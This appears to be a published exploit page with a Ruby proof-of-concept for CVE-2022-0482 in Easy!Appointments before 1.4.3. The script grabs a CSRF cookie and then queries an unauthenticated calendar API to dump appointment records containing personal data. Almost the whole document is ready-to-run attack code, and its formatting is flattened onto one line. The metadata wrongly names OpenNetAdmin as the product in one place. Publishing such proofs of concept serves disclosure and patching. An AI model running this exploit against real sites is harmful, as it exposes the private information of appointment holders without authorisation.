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Easy!Appointments Information Disclosure

2022-04-15 08:20
pre>#!/usr/bin/env ruby# Exploit## Title: Easy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)## Author website: https://pwn.by/noraj/## Exploit source: https://github.com/Acceis/exploit-CVE-2022-0482## Date: 2022-04-11## Vendor Homepage: https://easyappointments.org/## Software Link: https://github.com/alextselegidis/easyappointments/archive/refs/tags/1.4.2.tar.gz## Version: < 1.4.3 (it means up to 1.4.2)## Tested on: Easy!Appointments Version 1.3.2## References: https://www.exploit-db.com/exploits/FIXME# Vulnerability## Discoverer: Francesco CARLUCCI## Date: 2022-01-30## Discoverer website: https://carluc.ci/## Discovered on OpenNetAdmin 1.4.2## Title: Exposure of Private Personal Information to an Unauthorized Actor in alextselegidis/easyappointments## CVE: CVE-2022-0482## CWE: CWE-863## Patch: https://github.com/alextselegidis/easyappointments/commit/bb71c9773627dace180d862f2e258a20df84f887#diff-4c48e5652fb13f13d2a50b6fb5d7027321913c4f8775bb6d1e8f79492bdd796c## References:## - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/## - https://github.com/alextselegidis/easyappointments/tree/1.4.2## - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-0482.yaml## - https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/## - https://nvd.nist.gov/vuln/detail/CVE-2022-0482require 'date'require 'httpx'require 'docopt'doc = <<~DOCOPTEasy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure Source: https://github.com/Acceis/exploit-CVE-2022-0482 Usage: #{__FILE__} <url> [<startDate> <endDate>] [--debug] #{__FILE__} -h | --help Options: <url> Root URL (base path) including HTTP scheme, port and root folder <startDate> All events since (default: 2015-01-11) <endDate> All events until (default: today) --debug Display arguments -h, --help Show this screen Examples: #{__FILE__} http://10.0.0.1 #{__FILE__} https://10.0.0.1:4567/subdir 2022-04-01 2022-04-30DOCOPTdef fetch_csrf(root_url, http) vuln_url = "#{root_url}/index.php" http.get(vuln_url)enddef exploit(root_url, startDate, endDate, http) vuln_url = "#{root_url}/index.php/backend_api/ajax_get_calendar_events" params = { 'csrfToken' => http.cookies.first.value, # csrfCookie 'startDate' => startDate.nil? ? '2015-01-11' : startDate, 'endDate' => endDate.nil? ? Date.today.to_s : endDate } http.post(vuln_url, form: params)endbegin args = Docopt.docopt(doc) pp args if args['--debug'] http = HTTPX.plugin(:cookies) fetch_csrf(args['<url>'], http) puts exploit(args['<url>'], args['<startDate>'], args['<endDate>'], http).bodyrescue Docopt::Exit => e puts e.messageend

Source: 1600402202-BLW/eussi/moc.ytirucesxc

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